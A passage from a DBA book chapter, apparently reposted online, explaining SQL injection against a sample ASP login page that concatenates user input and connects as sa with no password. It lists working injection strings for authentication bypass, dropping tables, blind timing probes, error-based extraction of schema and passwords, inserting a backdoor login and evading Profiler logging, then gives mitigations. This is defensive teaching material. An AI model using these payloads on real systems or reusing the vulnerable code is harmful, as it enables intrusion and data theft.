SQL Injection

SQL injection is the number one problem facing Internet applications, although it's not limited to Internet applications. SQL injection is where a malicious user is allowed to execute ad hoc SQL code on the database server through the application without the application's knowledge. Depending on the rights given to the user with which the application signs in, the hacker could do anything from deleting all the records from a table to gaining network access or dropping databases. I cover this here to help you protect your systems from these types of attacks. Trust me, the hackers already know how to do this, so I'm not telling them anything new.

Note 

It's important to point out that this is not a problem with SQL Server. The same holds hold true
with Oracle and DB2 as well. It's really an input validation problem on the application side that becomes a database problem if it's not protected properly.

The Problem

To fully explain this problem, I'm afraid I have to show a little low-level code. First, I'll create a small basic table to hold the logins, passwords, and their access levels:

CREATE TABLE [LOGINS] (       [Login_Nm] [varchar] (10) NOT NULL ,       [Login_Pw] [varchar] (10) NULL ,       [Access] [int] NULL  ) ON [PRIMARY]

Next, I created a simple ASP page in VBScript and standard HTML. This very rudimentary page is a login screen where a user enters his login and password. The system checks to make sure he's in the database and what type of access he should be given. If the user is not in the system, he's given a message back saying he entered a wrong login name or password.

<%@ Language=VBScript %> <%if request.Form("go") = "Y" then 'Creates the connection Set cn = Server.CreateObject("ADODB.Connection") cn.ConnectionString = "Driver=SQL Server; database=northwind;SERVER=bknight;user id=sa"       cn.Open       Set rs = Server.CreateObject("ADODB.Recordset")       rs.ActiveConnection = cn       rs.Open "SELECT * from logins where login_nm = '"&request.Form("login_nm")&"' and login_pw =  '"&request.Form("login_pw")&"'", , , , adCmdText if not rs.EOF then response.Write "Thank you for logging in " & rs("login_nm") else response.Write "Wrong login or password, please try again." end if cn.Close set cn = nothing end if%> <HTML> <h1>Login</h1> <form method =post action="testlogin.asp"> Login <input type="text" name="login_nm"><br> Password <input type="password" name="login_pw"> <input type = "hidden" name="go" value="Y"> <input type=submit value="Login"> </form> </body> </HTML>
Tip 

Never make HTML form input names the same names as the columns (as this code sample shows). This makes a hacker's job easy as he'll know the column names without having to do any more work than clicking View | Source in Internet Explorer.

What makes injection attacks especially bad is that this particular application is signing into the Northwind database with the SA account and no password. This would give an attacker full access to your server and your databases on that server. The line to pay special attention to is this one (the line of code wraps into three):

rs.Open "SELECT * from logins where login_nm =  '"&request.Form("login_nm")&"' and login_pw =  '"&request.Form("login_pw")&"'", , , , adCmdText

If the user typed in the login of Admin and a password of Admin, the following query would be passed to the database server based on the above line of code:

SELECT * from logins where login_nm = 'admin' and login_pw = 'admin' 

This works fine until a hacker tries to enter any type of malicious code. The trick with an injection attack with character data is to enter a single quote and semicolon to mark the end of the query the application wants to execute, and type in any query that the hacker wants to run followed by the comment. For example, if a hacker were to enter the following for a user name:

' ; drop table leads--

it would execute on SQL Server with the following query:

SELECT * from logins where login_nm = '' ; drop table leads --' and login_pw = ''

This would drop the Leads table and all of its data. The two hyphens represent a SQL Server comment which keeps the application from executing the rest of the query. If this hasn't scared you yet, the hacker can then insert his own admin record or could log in as the first user in the table, which usually is an administrator, by entering the following for the user name:

' or 1 = 1 -

This would run the following command:

SELECT * from logins where login_nm = '' or 1 = 1 --' and login_pw = ''

In my case, the user would then receive a welcome acknowledgment saying, 'Thank you for logging in Admin'.

Gathering Information from Injection Attacks

Once a hacker gets a taste of blood in the water, he can begin to attack your server with much more dangerous attacks. Most well-written applications prevent ODBC errors from being displayed to the client. This prevents users from seeing potentially harmful data about your schema or database. For example, you don't want the hacker to know what columns are in a table.

If a hacker hits this roadblock, there are other methods he could employ to see if he's affecting your system. For example, he could place strategic T-SQL pauses in the code to see if the code was successfully run against the system. He can use this to obtain answers to yes/no questions. For example, if a hacker wanted to see if the application is signing in with the SA account, he could run the following command:

'if (select suser_sname()) = 'sa' waitfor delay '0:0:10'--

If a ten-second pause occurs, the hacker knows he's signed in with the SA account. If the page returns immediately, he knows it is not using the SA account. He could also use this to find what would appear to be more benign information like whether a database exists, as shown here:

'if (select count(*) from master..sysdatabases where  name = 'northwind') > 0 waitfor delay '0:0:10'--' 

A ten-second pause indicates that the sample database, Northwind, is still on the server. Let's go back to the login ASP page for a moment. Now that the hacker knows that this page is vulnerable to SQL injection attacks, he could run the following command to obtain information about the schema, since it doesn't trap ODBC error messages:

' having 1=1 --

This would return the following results, which show him the table name and column name this query is running against:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server] Column 'logins.Login_Nm' is invalid in the select  list because it is not contained in an aggregate  function and there is no GROUP BY clause. /testlogin.asp, line 12

Now that the hacker knows a starting place of the query, he could enter the following command in the user name field:

' group by logins.Login_Nm having 1=1 -

This will show him the next column in the table, as shown here:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server] Column 'logins.Login_Pw' is invalid in the select  list because it is not contained in either an  aggregate function or the GROUP BY clause. /testlogin.asp, line 12

The hacker would then enter the next column:

' group by logins.Login_Nm, logins.Login_Pw having 1=1 - 

He would continue to 'walk the table' looking for all the columns until he reaches the end of the columns and doesn't receive an error. When he doesn't receive the error, he knows he now has the entire schema for that query and is ready to advance the attack. He could even find out the data type for some columns by entering the following command:

' union select avg(logins.login_nm) from logins --

This would return the following error, which indicates that the login_nm column is a varchar column:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server] The average aggregate operation cannot take a  varchar data type as an argument. /connections/testlogin.asp, line 12

Alternatively, he could run the following query:

' and access = 'f' -

This would show that the access column is indeed an integer column and not a varchar data type with the following error:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server] Syntax error converting the varchar value 'f'  to a column of data type int. /connections/testlogin.asp, line 12

The hacker could also begin to see the actual data out of the database now that he knows the data type by issuing incorrect convert statements as shown here:

' union select convert(int,login_nm),1,1  from logins-

This attempts to convert the values in the login_nm column to an integer, which is incorrect. Since this cannot be done, the ASP page would output an error with the value of the first row:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server] Syntax error converting the varchar value 'Admin'  to a column of data type int. /connections/testlogin.asp, line 12 

If the hacker wants to walk through the rows, he could then perform the following command to see the next row:

' union select convert(int,login_nm),1,1  from logins where login_nm > 'admin'-

This will output the next row in the table as shown here in the BKnight value:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server] Syntax error converting the varchar value 'BKnight'  to a column of data type int. /connections/testlogin.asp, line 12

It doesn't stop at the login name, though. If the hacker wanted to find out the password for a specific user, he could enter the following command for the user name field in our application:

' union select convert(int,login_pw),1,1  from logins where login_nm= 'admin'--

This would output an error which clearly shows the password as adminpw. Ideally, this column would be encrypted with a strong encryption method to protect this data from being viewed in clear text:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server] Syntax error converting the varchar value 'adminpw'  to a column of data type int. /connections/testlogin.asp, line 12

The hacker could also insert his own login into the system to go in unnoticed. One problem the hacker may have here is he won't know automatically what the access column does. He could, however, see what value the Admin user has for this and clone that here. He could insert his own record using the following command:

'; insert into logins values('hacker', 'hackerpass', 1)--

He would typically not receive an error or a success for this type of function, but he could place a waitfor clause in the command to see if it passed. If the hacker were to need information about what type of DBMS he's dealing with to know the vulnerabilities, he could run the following command:

' union select @@version,1,1 - 

He would then see the following error in my application showing him the build of SQL Server and the operating system:

Thank you for logging in Microsoft SQL Server 2000 -  8.00.679 (Intel X86) Aug 26 2002 15:09:48 Copyright  (c) 1988-2000 Microsoft Corporation Enterprise Edition  on Windows NT 5.0 (Build 2195: Service Pack 3)

Finally, he could create a table to load temporary data into with the following command:

'; create table hacker (input varchar(8000))--

This would create a one-column table for him to use. He could use this to move operating system files into it for view, like the ASP pages. Then he could view them simply by running one of the earlier shown commands. He could also BCP it back out to a clear text file that could be picked up on the web server.

How It's Masked

The best way to audit for one of these types of attacks is of course through Profiler. Unfortunately, there's a way to mask the attack even to Profiler. If a hacker were to enter sp_password at the end of the command, it would be hidden from Profiler. For example, a hacker can do this by issuing the earlier mentioned command with the sp_password command after it:

'; create table hacker (input varchar(8000))-- sp_password

This would output the following results in Profiler:

-- 'sp_password' was found in the text of this event. -- The text has been replaced with this comment for security reasons.

The Solution

I hope I've scared you a bit. With this knowledge, you can help the application group protect their applications. The first thing to do is a security audit of all of your pages that accept input, whether through a form or a URL. Next, the following topics in this section can be addressed to help clean up the code and prevent access if code cannot be cleaned up quickly.

Data Access

Never allow direct access to your tables or give any application login fixed database role access. For example, if a user is a member of the db_datawriter role and is used by the application to log in to the database, that user could potentially delete all the data from your tables. Remove this layer altogether and give access to the tables only through stored procedures and functions. Where applications need direct access, explicitly give them access to individual objects and weigh the risk accordingly.

Validate Input at the Application Layer

The primary way to protect your database is to have the application team develop filters at the application layer to remove malicious code. You can do this by removing single quotes as shown in the following function:

function sanitize(incoming)       'Filter out single quotes       where = instr(incoming, "'")       do while where > 0              part1 = left(incoming,where-1)             part2 = right(incoming,(len(incoming) - (where)))             incoming = part1 & "&#39;" & part2             where = instr(incoming, "'")       loop       sanitize = incoming end function

This will only remove the single-quote problem, but the team could also develop a filtering mechanism to filter out items like two hyphens (--) and other SQL Server keywords. Alternatively, they could validate that everything coming in is a valid character, like A-Z or 0-9.

Constant Protection

As a DBA, you must constantly watch for hotfixes and research the latest techniques a hacker uses. Even if a hacker were to penetrate your system, he could not gain too much access if you are using proper permissions in your environment.




SQL Server 2000 for Experienced DBAs
ppk on JavaScript, 1/e
ISBN: 72227885
EAN: 2147483647
Year: 2005
Pages: 126

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net